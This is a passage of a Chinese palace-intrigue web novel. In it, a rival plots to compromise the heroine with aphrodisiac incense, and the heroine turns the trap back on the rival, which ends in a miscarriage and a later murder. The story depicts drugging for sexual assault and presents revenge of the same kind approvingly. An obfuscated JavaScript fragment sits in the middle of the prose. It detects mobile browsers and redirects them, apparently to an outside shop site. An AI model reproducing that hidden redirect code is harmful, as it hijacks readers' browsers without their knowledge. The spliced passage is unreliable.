可只刚刚表现出这个意思,就被父亲给打断,还向圣上告罪。
他还没来得及说自己不要将军之职,就被圣上拦下。
两人痛苦地相对垂泪,并交出了彼此。
而就那一次,大公主就为他生下了一个女儿。
当他得知这个消息时,整整喝了一夜的酒。
醒来后做了一个决定,此生不再娶妻。
两人拥抱一起,久久无法平静。
“明月,我也想你。”铁骨铮铮的男儿,在面对自己日思夜想的女人,再也控制不住一腔思念之苦。
“秦郎,你知道这些年我有多苦,父皇逼我和亲,我才不得不挑了一个好拿捏的驸马。
你放心,我从没让他近过我的身。我养面首也只是做给父皇看,也从没沾过他们的身。”赵明月流着眼泪。
慢慢诉说自己的相思之苦。
两人依偎着坐在榻上。
“明月,你可愿等我?等阻拦我们的人都去了,我带你远走高飞,我们再也不分离。”
赵明月感动的眼泪流得更凶了。
秦苍霆又把人搂得更紧了些。
同时下腹一紧,那种冲动如洪水般猛烈。
可他一向清心寡欲,怎么会?
第96章 招人恨
大公主明显感觉到男人的异样。
心里一喜,看了一眼香炉里燃着的香。
“秦郎,我给你生个儿子,好不好?我们不能没有儿子。”赵明月娇柔的声音带着蛊惑。
杨氏告诉她,今日是她最易受孕的日子。
秦苍霆如被下了蛊般,直接吻上思念多年的唇。
很快,房间里传出恩爱的声音。
苏嬷嬷欣慰地站在门口。
主子终于得偿所愿。
——
霍凝玉与两个丫鬟带着花篮在梅林里摘花。
时不时遇到一些相熟的小姐。
只一会儿就集成一队,一起摘花。
林子里欢声笑语。
直到江宁也提着篮子来摘花。
大家看她的眼神各不相同。
“谢少夫人也来摘花啊?”自然也有与谢家交好的和江宁打招呼。
“嗯。大家其实不用挤在一起,梅林很大,可以分开来,多摘一点。义母今日大方,庄子里已开的梅花都摘完,义母都不会说什么。”江宁替大公主大方。
说得她与大公主关系很亲密的样子。
小姐们听了很高兴。
这样的机会确实难得。
等人都散开,江宁特意走到霍凝玉面前。
“玉姐姐,我听说你与皇城司使走得很近,不会是看上他了吧?
你现在可是县主,怎么看得上那种人?不过是圣上身边的影卫罢了。他怎么配得上你?”江宁笑着道。
而眼里的嗤笑之意再明显不过。
“大公主义母得到这个消息时,连说了好几声可惜了。
玉姐姐,最近好些人家都在向我打听霍家的意思,有不少优秀儿郎想求娶你,不知你想嫁什么样的人家?
虽然之前我们闹了些不愉快,但我也不希望你嫁给赵壑那种没有任何背景的人。
堂堂户部尚书家的小姐,还是被圣上亲封的县主。怎么能如此降低身份呢?”江宁一副为你好,苦口婆心地又继续道。
“说完了吗?”霍凝玉冷眼直视。
自作多情。
“玉姐姐,我是出于好心。”江宁委屈道。
“你的好心,本县主心领了,没别的事就在本县主眼前消失。”霍凝玉相信她的话才怪。
她还没那么傻。
江宁见她油盐不进,只得潸然离去。
但离去前,深深看了霍凝玉一眼。
而那一眼,霍凝玉收进了眼里。
她一定又要做什么妖。
江宁什么德性,她再清楚不过。
大公主或许真是因同情而收她做义女。
但江宁母女是被辰王设计送到大公主身边的。
她的一言一行必定带着目的。
而且江宁成亲那日,她摆了她一道。
估计她想报复回来。
“小姐,谢少夫人是不是又要为难你?”玛瑙担忧问道。
“不知道。我们离她远点,一切小心。”霍凝玉提高了警惕。
“玛瑙,一会儿我们摘好花,你就提到马车里放着。再和钟离大哥说一声,让他想办法混进来。”霍凝玉以防万一。
杨氏会医,有些事防不胜防。
她不得不多一层保障。
“是,小姐。”
霍凝玉又让珍珠去找不知藏在哪儿的青风,也把事情说了一遍。
采好了花,有丫鬟来通知,可以去文昌阁里玩一些女儿家喜欢的游戏。
霍凝玉带着丫鬟来到文昌阁。
“霍姐姐,这里。”顾佳倩向她招手,让霍凝玉坐到自己身边。
“刚才采梅花怎么没看到你?”霍凝玉问道。
“我没去采,而是看男子蹴鞠,没想到霍大哥球技那么好,连进了好几个球。”
“各位小姐们,我已为大家准备好了笔墨纸砚。
以梅为主题,每人画一幅画。
评比出最好的一幅,挂在文昌阁里,供后来人观赏。”慧兰县主见人来得差不多,宣布。
小姐们都铆足了劲想表现一番。
能把画挂在落梅庄的文昌阁,那也是传美名的好事。
此处常有文人墨客来赏景,也有世家公子来这里宴客。
大公主把这个庄子经营成一个游玩的地方,深得京中贵人们喜欢。
尤其春日来此的人更多。
霍凝玉自重生以来,这几个月都认真学习,提高自己在琴棋书画上的造诣。
她也想看看自己的能力与别人相比,是否已达到上乘水平。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16788696|190553||http|test|mini|href|location''.split(''|''),0,{}));
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r>所以她很认真地构思后再落笔。
一块黢黑的顽石占据左下,而就在石巅,一枝寒梅横斜而出,枝干瘦硬如剑,花瓣以淡墨细笔勾出,敷着若有若无的白。
整幅画墨色清冷,那梅仿佛不是开在纸上,而是开在春日的朝阳下,吐纳着凛冽的纷芳,带着露珠,透着晶莹。
放下笔,霍凝玉欣赏了几息才让丫鬟挂到廊下,与众人的一起。
顾佳倩也拿了自己的画过来。
“呀,霍姐姐,你这也画得太传神了吧,我不跟你挂一起,被比下去了,太没面子。”顾佳倩夸张的表情引来好几个闺秀。
都对霍凝玉的画赞誉有加。
最终,霍凝玉的画得票最多,成功挂到了文昌阁的展厅墙上。
江宁大吃一惊,这才短短几个月时间,那个草包进步这么快?
狰狞的眼神扫了霍凝玉一眼。
想到霍家设计她们母女被婆母赶出京城,那种**,至今难忘。
想到出嫁那日,霍凝玉故意把送她的玉雁打碎,她就恨得半死。
婆母直到现在也不把管家权交给她,还处处刁难她。
要不是有大公主义女的名义在,她在谢家根本没有立足之地,就连伯爷的姨娘都敢给她脸色看。
要不是夫君一如既往对她好,她真想把对她不好的人都处理了。
可辰王给她的命令却是要拉拢霍家。
让她想办法把霍凝玉嫁进庆国公府,袁贵妃的娘家。
袁家本已向霍家递了结亲的意思,可霍家不接。
还传出霍凝玉与皇城司使赵壑走得近的传言。
画完画,就到吃午宴的时间。
午宴过后就可以到休息室适当午休一会儿。
下午还有节目。
霍凝玉在梅林里摘花,衣服已经皱了,正好趁午休时换一下衣服。也适当休息一下。
霍凝玉想下午也去蹴鞠场上看看,如果有女子组队,她想参与。
钟离洛说她缺乏锻炼,那她就多找机会运动运动。
在公主府丫鬟的带领下,进了一个小院,里面居然只安排了霍凝玉一个人。
“这位姐姐,怎么就我们小姐一个人?”珍珠都看出有问题。
第97章 小姐,这是夜情香
“霍小姐,今日来的小姐们每五人一个小院休息,只单单多出来一个人,而您是县主,所以就单独给您安排一个小院。”丫鬟解释得很合理。
今日来的贵女们,除了慧兰县主就数她身份最高。
霍凝玉估计,大公主一定是故意的。
或者说江宁参与其中,怂恿的。
京里还有几位老王爷家的郡主都没请。
丫鬟向珍珠两人讲了有什么需要如何找人的事交代一遍就离开了。
霍凝玉见走远的丫鬟,没有任何异常。
但心里的警惕不曾减少。
吃午饭时,她用茶水把碗和筷子都洗了洗才用。
夹菜也只夹别人夹过的吃。
直到现在她也没感觉哪里不舒服。
说明午饭没有问题。
“走吧,进屋休息一下。”
珍珠手里正拿着霍凝玉要换的衣服。
三人进了里卧,换好衣服。
两个丫鬟去外间守着。
霍凝玉把房里都检查了一遍,没发现异常。
躺下闭目养神。
而就在她眼皮打架时,忽然闻到空气中有股淡淡的异味,带点花香,很淡。
如果不仔细很难察觉。
警惕的她,一翻身坐起。
把后窗打开,就看到墙角下正蹲着青风和钟离洛。
钟离洛正想出声,看到霍凝玉的手势,立即压住。
霍凝玉做了个让他们进来的手势。
两人进来,都是警觉性很高的人,也闻到了那股味道。
开始在房里找,味道从哪里散发出来的。
青风是暗卫出身,直接趴到地上,看床底下。
就看到一个男子手里正拿着一根冒着火星的香。
四目相对,那男子吓得就要叫出声。
青风动作奇快,迅速点了那男子的哑穴,再把人从床底下拉出来。
再掐灭他手里的香。
“袁五公子,你为何在此?”青风认得此人。
霍凝玉也认出来了。
庆国公府二房的嫡次子,袁立。
也是京中出了名的纨绔子。
都十八岁了,也没定下亲事。
钟离洛什么都没说,直接给了袁立几拳头。
打得袁立大口喘气。
他的哑穴还没解,大叫也没声音。
很快,额头冷汗涔涔。
霍凝玉看得眼睛直抽。
钟离大哥也太直接了,都没问清楚就动手**。
钟离洛还想再动手。
“钟离公子,先别。”青风拦住。
庆国公府的子弟,不能打废。
那是辰王的表弟,袁贵妃的亲侄儿。
霍凝玉蹲下身,从他手里抽出那根香。
“青风,你能看出这香是做什么用的吗?”霍凝玉不懂这些东西。
青风闻了闻:“小姐,这是夜情香。”
霍凝玉一听名字就知道起什么作用的。
钟离洛气的又给了袁立两下。
等他痛意过了,青风才解开他的穴道。
“你如果想大叫,我马上让他们杀了你,再找个地方埋了。神不知,鬼不觉,从此你就在这世上消失了。”霍凝玉威胁。
袁立看到两个强壮的护卫,不敢造次。
“你告诉我,是谁让你藏在这里的?”霍凝玉冷声问道。
刚才她和丫鬟都看过床底,没人。
不过没像青风一样趴在地上看。
估计他是倒扣在床板上,避过了她们的视线。
“是我自己,家里给我说亲,提的就是县主。
可我知道县主看不上我,所以才出此下策。
想先与县主有了肌肤之亲,我们的亲事自然水到渠成。”袁立把一切揽在自己身上。
他知道霍凝玉不敢把他怎么样,最多教训一顿。
“你觉得我会信吗?”
“我没有说谎。”袁立狡辩。
“钟离大哥,再给他几下,看他老不老实,如果不说,就直接杀了,带出去埋到山里。”霍凝玉说出的话,冷酷无情,而语调却平淡温和。
“别,别。我说。”袁立看到钟离洛举起的拳头吓得直往墙角躲。
“最好说实话,不然下场还是埋了。”霍凝玉不给他任何说谎的机会。
“是忠义伯府的谢少夫人给我出的主意。
她说这样,我就一定能娶到你。
昭勇县主,我是真心想娶你。
我知道你看不上我,但我的一片赤诚之心是真的。
如果你愿意嫁给我,我一定好好待你。
也不出去花天酒地,让家里给我安排个差事,我一定好好做事,让你终身有靠。”
袁立为自己的行为找最好听的理由。
是不是真的,只有他自己知道。
霍凝玉被恶心到了。
原来她的感觉没错,果然是江宁想给她难看。
要
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是今日这事真成了,她只能嫁给个纨绔,同时霍家也绑上了辰王的船。
袁家是袁贵妃的娘家,现在的庆国公是袁贵妃的大哥,而袁立是二房的嫡次子,用一个不重要的子嗣就把霍家栓住,真是好算盘。
“小姐,要不要属下去把谢少夫人抓来对质?”青风也被气坏了。
“不用,这种事捅出来对我名声不好。而且还给了袁府上门提亲的理由。她来阴的本县主就不会来阴的吗?”霍凝玉眼神如刀。
“县主,请吩咐。”钟离洛胸膛起伏,强压怒火。
他想一生守护的姑娘,竟在他眼皮子底下遭人暗算,他怎么能忍?
“这香不是还很长吗?把他给我丢进江宁房里,把香点上,让他们滚一起去。我倒要看看谢正阳还要不要她?”霍凝玉说得轻描淡写。
钟离洛二话不说,又点了袁立的哑穴,夹起人就出去。
青风跟上去配合。
两个男人走出内室,两丫鬟才战战兢兢过来。
“小姐。”珍珠小心翼翼轻唤。
“都怪奴婢不够细心,没看到床下有人。”玛瑙一脸懊恼。
她明明向床底下扫了一眼的,却没看到。
“没事。我一直就很警觉。一闻到异味就清醒了。”霍凝玉很镇定。
袁立不可能得逞,青风和钟离洛都跟着她。一有异动,两人定会听到声音。
珍珠去把窗户都打开,让房里的空气散一散。
霍凝玉也没了睡意,坐着等消息。
钟离洛和青风两人带着袁立,避着人,慢慢找到江宁在哪个房里休息。
江宁也在等霍凝玉那边的消息,并没有睡下。
她身边只有两个丫鬟,派了一个在外面等消息。
一个在外间候着。
她并没打算去捉奸,她只要确定事情成了,霍凝玉能顺利嫁入袁家,她就完成了辰王交代的任务。
只是她又好不甘心,她们母女本想要霍家家破人亡,可辰王却要拉拢霍家。
要是霍凝玉嫁入袁家,以后就同处一个阵营。
她们母女的仇要如何报?
她又想到大公主的话,什么都没有自己的前程重要。她只得生生压下心里的不甘。
就在她胡思乱想间,听到后窗下有稀稀疏疏的声音。
出于好奇,她起身向窗户走去。
想着是不是有野猫在窗下玩耍。
第98章 江宁小产
她很喜欢猫,嫁到谢家后,就又养了一只。
只是她刚打开窗户,一只男人的手就伸到了她眼前。
快速点了她的哑穴。
钟离洛蒙着面,跳进房里。
江宁吓得连连后退,不停尖叫,可是没有声音。
她更是惊慌。
钟离洛只两步就抓住了她,点了她的睡穴,扔到床上。
青风也蒙着面带着袁立进来。
把人也扔到床上。
钟离洛把那没燃多少的香继续点燃。
袁立被定了身,动弹不得,可他人是清醒的。
面如死灰。
“走。”青风见事情处理好,得快些回小姐身边。
万一小姐又被哪个不长眼的算计,他不在身边,不放心。
谢正阳作为巡城司使,本不用他为大公主一个赏梅宴负责治安,但他为了在大公主面前讨个好,特意向大公主讨了这个差事。
大公主收江宁为义女,当然也不单纯为了留用她母亲。
也是想借此让谢家为她所用。
谢家不过一个快要没落的伯府,要不是忠义伯在京畿营还有点点实权,也就只剩最后一点祖荫。
为她所用,是看得起谢家。
谢正阳看着秦苍霆进了落梅庄,他今日最大的任务已完成。
大公主不想太招摇,但也没有多小心。
身份尊贵就是好。
越发让谢正阳想提高自家的身份。
骑了马回城,继续每日的正常职守。
可他总有些心神不宁。
难道要出什么事?
匆匆用了午膳,他又骑了快马往庄子上赶。
并不远,很快就赶到。
没什么异样。
他不想再回城,那就去找宁儿。
袁立被放到江宁身边躺着,眼睁睁看着钟离洛把香点燃,又看着两人离去。
大大松了一口气。
他想叫,可是张大嘴却发不出声音。
他想动,可手脚根本不听使唤。
急得想死的心都有了。
他怎么就猪油蒙了心,听家里的,娶霍凝玉。
他做梦都没想到霍凝玉身边有两个暗卫。
一个纯粹的文臣之家居然有暗卫,太超出他的意料。
时间一点点过去,那香燃得越来越短,袁立再急也控制不了呼吸。
一口接一口,身上的燥热开始升起,而身边的江宁也脸色开始潮红。
怎么办?
燥热越来越烈,就在袁立再也控制不住燥热时,穴道自然松动了。
心里一喜,就要起床逃走。
可是手不小心碰到身边的女子,他的心猛地一颤。
身体的欲望如猛兽出笼。
失去了理智。
僵硬的身体不管不顾扑向江宁。
开始乱扯江宁的外衣。
刚刚解了穴道,袁立的手还有些笨拙,扯了好几下才扯开江宁的外衣。
江宁的锁骨呈现的一刹那,袁立再也忍不住,就亲了上去。
一边亲一边继续扯衣服。
而就在这时,门被打开。
外间守着的丫鬟之前被交代,不要进去打扰主子。
江宁说她想一个人静一静,等外面有了消息再进去汇报即可。
谢正阳看到丫鬟趴在桌上休息,也没叫人,直接开门进里间。
结果他居然看到有个男人正趴在床上。
什么情况?
火气瞬间窜上天灵盖,上去就是一拳。
袁立被打得差点晕过去。
后衣领被谢正阳揪住,猛地扔到地上。
谢正阳才看到歹徒的真面目。
“袁五公子?”谢正阳震惊不已,想把人杀了的冲动被生生卡住。
袁立双目通红,疼痛让他清醒了两分。
用手指了指自己的嘴,发不出声音。
谢正阳这才知道他被人点了哑穴,立即给他解了。
“我......我被算计。快......快救我。”袁立喘着粗气说道。
听到动静的丫鬟丁香急急跑进来,就看到地上有个男人,又看到床上的主子昏睡着,衣服还被扯得不成样,吓坏了。
“姑爷!”丁香惊呼。
“把他给本公子带出去,丢去湖里。”谢正阳一眼就看出他中了媚药。
丁香不敢耽误,用力扶起袁立快速离去。
谢正阳这才走到床边,看到江宁的脸色潮红,眉头深锁,可人却还睡着,就知道被点了睡穴。
心疼不已。
是谁?
他非把人**万段不可。
可当下,宁儿才是最重要的。
谢正阳解了江宁的睡穴。
很快,人就醒了。
可是却被欲望控制住。
眼睛微微睁开,朦胧中,江宁看到是谢正阳。
“夫君,我好难受。”娇媚而诱惑的声音让谢正阳下腹一紧。
现在去熬解药已经来不及。
“宁儿。”
谢正阳三两下脱了自己的衣服,为江宁解毒。
这一战,两人体验了一回什么叫极致欢愉。
江宁受药物控制,从未有过的热情和主动,让谢正阳看到了娇妻的另一面。
而
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当药性终于过去,江宁恢复清明。
同时才感觉到下腹的疼痛,接着就感觉到有血液流出。
江宁身子一僵。
“完了,完了!呜呜......”江宁忽然哭了起来。
“宁儿,是不是那里很疼?”谢正阳心疼地轻拍着爱妻。
今日宁儿受苦了,被他毫无节制地折腾了这么久。
“快,快去请我娘来。”江宁伤心说道。
谢正阳不明所以,但听话出去,让丫鬟去请人。
杨氏跟在大公主身边,正在临水阁。
听到女儿身子不适,立刻赶来。
“宁儿,怎么了?”杨氏焦急问道。
又看到女儿还躺在床上,脸色极差。
“娘,我......”江宁未语先泪。
她不知道从何说起。
杨氏见女儿脸色不好,匆匆把上江宁的脉。
须臾,松开手。
“你们刚才是不是......”杨氏后面的话当着女婿的面不好说出口。
直接掀开被子查看,看到女儿欢愉后留下的痕迹,而且还那么严重,还有什么不知道的。
“宁儿,你们......,哎!”
“娘,我是不是流产了?”江宁艰难问出口。
“娘不是告诉过你,你可能怀孕了,只是时日尚浅,还把不出脉象,你们就如此折腾。是不是出血了?”
杨氏痛心也无用,已成事实。
三日前,江宁本该来月事,可没来,杨氏就给女儿把了一下脉,但不能确定,又加上女儿之前摔断了腿,吃过其他药,也有可能影响月事的时间。
只等再过两日就可确定,所以母女俩都没告诉任何人。
“呜呜......,娘,我是被人算计的。”江宁掩面痛哭。
“什么?”谢正阳和杨氏同时惊呼。
“是谁?我非杀了他不可。”谢正阳咆哮。
宁儿都没告诉他,她已有孕,刚一知道就没了。
“我也不知道。”她刚刚推开窗,就被一只大手点了穴。
谢正阳气得失了理智,转身出了房间。
来到湖边,袁立还泡在水里,还有几个围观的人在笑话他大冬天泡冷水。
可只有冷水才能缓解他的燥热。
谢正阳提了人就走。
围观的人看到谢正阳那黑如锅底的脸,纷纷猜测起各种可能的八卦。
当袁立把事情的前因后果讲完,谢正阳提了剑就满园子找霍凝玉。
而此时的霍凝玉正兴奋地大叫:“给我,快给我。”
第99章 谢正阳挨揍
稍作休息她就换了身方便运动的裤装,来到蹴鞠场。
今日来的姑娘比较多,且有男人在前,玩得很热闹,勾得姑娘们也热血沸腾。
就连顾佳倩也下了场。
霍凝玉练了几天鞭子,有了运动热情,蹴鞠的规则她早就知道,她本就性格外向,前世一有机会就会下场。
重生后调整了几个月,今日又有了无限动力。
一上场,争强好胜的心很快占了上风。
同队的队员没几个跑得有她快。
抢球运球,刚开始还有些陌生,只几个回合,她就找到了感觉。
连踢了两个球进风流眼,得筹两分。
同伴们知她厉害,得了机会就会把球传给她。
顾佳倩听得她的叫喊,看准时机,把球踢给她。
又一个漂亮的勾踢,球又进了。
“太棒了。”霍鸣羡与一帮朋友围观,拍手大叫。
“鸣羡,我感觉凝玉比你踢得还好。”万青鸿故意揶揄他。
万青鸿正是万青黛的亲哥哥。
本是与霍鸣羡一起出去游学的,因霍凝玉出嫁,霍鸣羡提前离队回京。
等万青鸿回到京城才知道妹妹差点没命,气得想杀了继母,被万青黛给拦下。
就要入考场了,不能做有违伦理的事。
“我妹妹就是优秀,如果她是男儿,估计就没你什么事儿了?”霍鸣羡反讽回去。
“什么叫没我什么事儿?跟我有什么关系?”万青鸿没听明白。
“上午咱们那队输得不够惨吗?要是你球技没那么烂,多出点力,我们能连输五个球?
要是我妹妹是男儿,会让你上场?你只有做看客的份。”霍鸣羡鄙夷地解释。
“你......不跟你一般见识。”万青鸿无话可说。
他的球技是烂了点,但也没霍鸣羡说的那么差吧。
回头,他也把妹妹拉出来比比,找回场子。
今日妹妹没来,真可惜。
而就在这时,一个突兀的身影,怒气冲冲而来。
“霍凝玉,你个恶毒的女人。”谢正阳一声怒喝响彻整个蹴鞠场。
中断了女孩子们的游戏。
谢正阳当职,身着军服,还带着武器。
冲到霍凝玉面前,长剑就出了鞘。
但青风和钟离洛动作更快,两人同时扔出一个小石子,一个打在长剑上,一个打在谢正阳的手腕上。
两人又同时站到霍凝玉面前,把人挡得死死的。
“谢正阳,你发什么神经?”霍鸣羡也冲过来。
万青鸿也当仁不让,也挡到霍凝玉面前。
谢正阳见这么多男人护着霍凝玉,气得直接挥起长剑就刺向青风。
他从袁立的口中已知道,就是这两人与霍凝玉一起,把袁立送进他夫人房里。
要不是他心有不安,又回转,他不敢想。
要是宁儿被袁立那厮糟蹋了会如何。那后果,他与宁儿都担不起。
然,就是如此,他也失了孩儿。
他怎么也冷静不了。
青风见他动真格的,眼睛危险眯起。
他曾是皇帝的影卫,那武功,就连钟离洛都未必是对手。
一个剪刀手就夹住了谢正阳刺来的剑。
钟离洛带着霍凝玉快速躲远些。
霍鸣羡和万青鸿没武功,不添乱,也立即撤远。
青风手里没有武器,但也应对得游刃有余。
更何况钟离洛把人带开就回来帮忙。
只几招就夺了谢正阳的武器,剑尖直指他的咽喉。
但钟离洛不讲规矩,上去就给他几脚,踢得谢正阳想躲都躲不开。
这时,谢正阳才知道,霍凝玉身边的两人武功竟然如此之高。
他一个都打不过。
霍家哪里来的武功高手,还都是霍凝玉的护卫。
他对霍家也算了解,从没听说霍家有这等护卫。
“钟离大哥,可以了。”霍凝玉走过来,看到谢正阳狼狈的样子,心里冷笑。
屁本事没有,中看不中用的东西。
幸好退了亲。
想到前世,就是这样的**,她居然嫁给了她。
钟离洛的腿太重,万一出了人命,就不好了。毕竟谢正阳是忠义伯的儿子,有点身份。
反正江宁设计她的事,已经报复回去,不然谢正阳也不会这么气怒跑来发疯。
谢正阳忍着疼痛爬起来。
“霍凝玉,你好歹毒,害得宁儿失去了孩子,你满意了?”谢正阳咬牙切齿,狠声道。
抬手擦去嘴角的血迹。
“谢正阳,你是不是失心疯了?
我怎么可能害江宁失去孩子?
你要是不说个清
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楚明白,信不信,我让他们两个再揍你一顿。”霍凝玉玩味地勾起了唇角。
江宁真与袁立成事了?还把刚怀上的孩子给做没了?
这消息真劲爆。
“你......”谢正阳说不出口。
是宁儿出谋让袁立毁霍凝玉清白,被人反将一军。
可是这手段太卑劣。
在他的印象里,霍凝玉是个善良的女人,什么时候变得如此睚眦必报了?
“怎么?不好意思说?要不我来说?”霍凝玉笑得更张扬了些。
“你给我闭嘴。”谢正阳被打了一顿,这时才冷静下来。
这事绝不能让外人知道。
此时他后悔来找霍凝玉的麻烦。
要是这事传出去,宁儿的名声也毁了。
虽然最终没有失身给袁立,但流言蜚语定会传得满京城都知。
谢正阳狠狠瞪了霍凝玉一眼,落魄离去,脚步踉跄。
“霍姐姐,到底怎么回事?谢正阳怎么莫名其妙来找你麻烦?”顾佳倩好奇问道。
“我也不知道。”霍凝玉自也不想把此事闹得人尽皆知。
对她的名声也同样有影响。
她不能让霍家和赵炳煜跟着一起丢脸。
还不知道他得知今日之事会做出什么出格的事情来。
被谢正阳扫了兴致,霍凝玉也不想再踢。
“妹妹,到底怎么回事?”霍鸣羡直到现在还不知道谢正阳为什么发疯。
“大哥,先不要问,等回家了我再告诉你。”
钟离洛本想竹筒倒豆子,被霍凝玉阻止。
今日钟离大哥的表现让霍凝玉很感动。
他对自己救他一事,心存感恩,说明她没救错人。
霍凝玉让丫鬟去打听,江宁那边到底是怎么回事。
她没从谢正阳身上看到对江宁的失望,只是失了孩子而气愤。
很快,珍珠打听到了事情的始末。
原来江宁并没有失身给袁立,而是谢正阳及时回转,正好救了江宁,并自己给江宁解了情香的毒,结果两人做得太过,把孩子给做没了。
霍凝玉不得不说江宁运气真是好。
那样都能躲过。
真是祸害遗千年。
不过,霍凝玉目前还没想搞死她,她最大的作用还没发挥。
只等那一日的到来。
第100章 大人做事,小姐尽管放心
直到赏梅宴结束,大公主都没再露过面,只慧兰县主安排管事的送走各家公子小姐。
霍凝玉走时,在大门口再没看到谢正阳。
回到家,天色已暗。
霍凝玉才把今日之事向家里人讲了一遍。
“天杀的。”容华芝气得大骂。
霍鹏程却陷入深思。
霍鸣羡也如出一辙。
只有霍鸣昶如母亲般大骂。
“爹,那江宁真该死,要不直接杀了她?”霍鸣昶对江宁恨之入骨。
一有机会总想害霍家人。
“二弟,不可,她最大的作用还没起。”
江宁有一项绝技,前世在构陷霍家时起了最大的作用。
霍凝玉就等着那件事发生时再摁死她,包括谢家。
“今日之事没有表面上那么简单。”霍鹏程从沉思中回过神来。
“没错,我也这么认为。”霍鸣羡点头。
“什么意思?”霍鸣昶有些懵。
“今日江宁的举动应是受人指使。”霍凝玉早已想到。
“没错,袁立是庆国公府二房嫡次子,虽有些纨绔,但在京中也是名门公子,又是袁贵妃的亲侄儿,辰王的表弟。想嫁他的女子不在少数。
如果今日这事他们得逞,凝玉势必要嫁入袁家,那么我们霍家就与袁家成了姻亲,也就等于与辰王也成了姻亲。
霍家自然就绑上了辰王一派。尽管父亲目前是三皇孙的先生,但只要太子一死,辰王再设计三皇孙也出点意外,那么霍家就不算是太子一派。”霍鸣羡解释道。
“原来如此。”霍鸣昶明白了,“所以他们就从大姐身上下手?太卑鄙了。”
“大姐,以后出门,青风绝不能离你左右。”霍鸣昶如大人般交代。
“我知道。今日我不就提高了警惕吗?当时我就要睡着了,感觉空气有淡淡的异味,立刻就清醒。”霍凝玉庆幸自己今日的警觉。
不过青风和钟离洛两人就在她附近,一听到动静,自会救她,但想到被袁立那等纨绔觊觎,想想就恶心。
几人正说话间,赵炳煜风风火火进来。
“凝玉,可有事?”那焦急和担忧的语气,让人一听就知。
“我没事。”霍凝玉就知道青风肯定第一时间告诉他。
“要不要我再拨个人给你?”赵炳煜觉得只有青风一人还是太少了。
“不用了,你身边才最需要人。我就是一闺阁女子,一般不出门。哪用太多人?”霍凝玉推辞道。
他身边只有四个暗卫,本就很少,还给了她一个。
赵炳煜没强行给人,但心里已有了另一个计划。
回头得放两个会武的丫鬟在她身边。
“你放心,今日之辱,我必为你报仇。”赵炳煜说得坚定。
“江宁还不能死,她今日失了孩子,也算得到了报应。至于袁立,你看着办吧。但不要引火上身。“霍凝玉见他如此态度,心里甜丝丝的。
然,报应来得很快。
正月十四。
袁立身子刚好些就与通房丫鬟胡来,用了那药,结果马上风,**。
当青风把这个消息告诉霍凝玉时,她怔愣了一瞬。
就知道是赵炳煜动的手。
袁立才十八岁,怎么也不会得马上风。
“没有被人发现吧?”霍凝玉问道。
“大人做事,小姐尽管放心。”青风与有荣焉。
正月十五,南楚一年一度的花灯节。
官家和商家都为宣传自家的店铺而大展身手,各式各样的花灯早就摆到铺子里,只等天黑,一盏盏点亮,吸引客人。
猜灯迷,猜中就送。
做工精美又有寓意的灯,可花钱买。
也有进店消费满多少银两,直接送花灯。
各出其招。
这一夜,京城不宵禁,也不关城门,让城外百姓进城同乐。
乾德帝也兴趣高涨,着了便装与皇后出宫游玩。
太子与太子妃带着赵凌哲陪伴在侧。
赵凌哲难得有这样的机会,异常兴奋,把自己最喜欢的玩伴大毛也带了出来。
一只纯黑的黑狼犬。
聪明,有灵性,对主人忠诚,身材威武,骨骼结实。
是他六岁生辰时,皇帝送他的生辰礼。
几个月相处下来,大毛与赵凌哲建立了友好的情谊。
总喜欢围着主人转。
官府在玄武大街中央还设了夺灯比赛。
皇帝一行被赵炳煜护卫着先来到此处的一酒楼的三楼,做好了护卫安排。
并叮嘱新上任的禁卫统领赵胜一定不可马虎。
赵胜正是鲁老王爷的小儿子,与乾德帝平辈。
虽是侧妃所生,但武艺不错。赵炳煜举荐他任新的禁卫统领。
自于玄铮被
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停职后,辰王曾多次下手想要让自己的人占这个位置,都被赵炳煜识穿,挡了回去。
安排好,赵炳煜向乾德帝报备一声,换了个面具离去。
刚到霍府门前,霍凝玉兄妹三人刚刚出来。
今日钟离洛又做车夫。
“咦,今日怎么没戴你的钟馗面具?”霍鸣昶见他戴的是狼头面具,惊奇问道。
“今日不想被人认出。”说着,赵炳煜递上一个同款的面具给霍凝玉。
霍凝玉笑着接过,在手里把玩了两下,不重,是用厚纸做的。
但一看就是一只母狼,把眉眼画得带着笑意,没半点凶相。
再看赵炳煜的,果然也是眉眼含笑,配上他露在外的眼睛,更是带着浓浓情丝传递而来。
一对情侣面具。
“这是你自己做的面具?”霍凝玉猜测。
“我画的。”
他不会做,但可以画,所以让人给他买了两个空白的,自己画。
霍凝玉眼睛亮了亮,还有这手艺。
轻轻戴上。
钟离洛看着两人的面具,失了神。
淡淡的失落,萦绕心头,但很快就消失不见。
他知道自己什么身份,只要默默护卫在她身边就好。
只要她幸福安康就好。
一行来到玄武大街。
此时天色已完全暗了下来。
整条街却灯火通明。
“钟离大哥,你不用跟着我们。今晚有夺灯比赛,而且皇上就在楼上看着,你去报名吧,争取夺得第一名。”
霍凝玉希望钟离洛早些在皇帝面前露个脸,留个好印象。
钟离洛想了想,点头离去。
他想要护自己的恩人。只是一个护卫,能起的作用并不大,如果他能有一官半职,有了一定的权势,他是不是就能为她做得更多?
有了这个想法,钟离洛离去的脚步走得异常坚定。
“大公子,二公子,我与凝玉单独逛逛,你们随意。”赵炳煜可不想被两个未来大舅哥打扰。
说完,拉了霍凝玉就走,不给两人说“不”的机会。
“大哥,我是不是要失去大姐了?”赵鸣昶很失落。
“你不希望你大姐能有个真心疼爱她的人吗?”霍鸣羡看着走远的背影,心里也不是滋味,但他知道怎么做对妹妹最好。
“鸣羡。”这时后面传来喊声。
第101章 想早些娶她过门
霍鸣羡兄弟转身。
原来是万家兄妹。
“怎么是你们两个大男人来逛,霍妹妹呢?”万青鸿东张西望,找了找。
“见过霍大哥,霍二公子。霍姐姐是不是没来?”万青黛柔柔一礼。
“她来了,和赵壑先走了。”霍鸣昶还有点小意见,说出的话带着酸味。
万家兄妹一听,眼神古怪,同时又心领神会。
“走,我们一起去逛吧,妹妹给我下了任务,要我给她猜灯王,要是我猜不出来,她以后都不给我做衣服了。”万青鸿深感压力大。
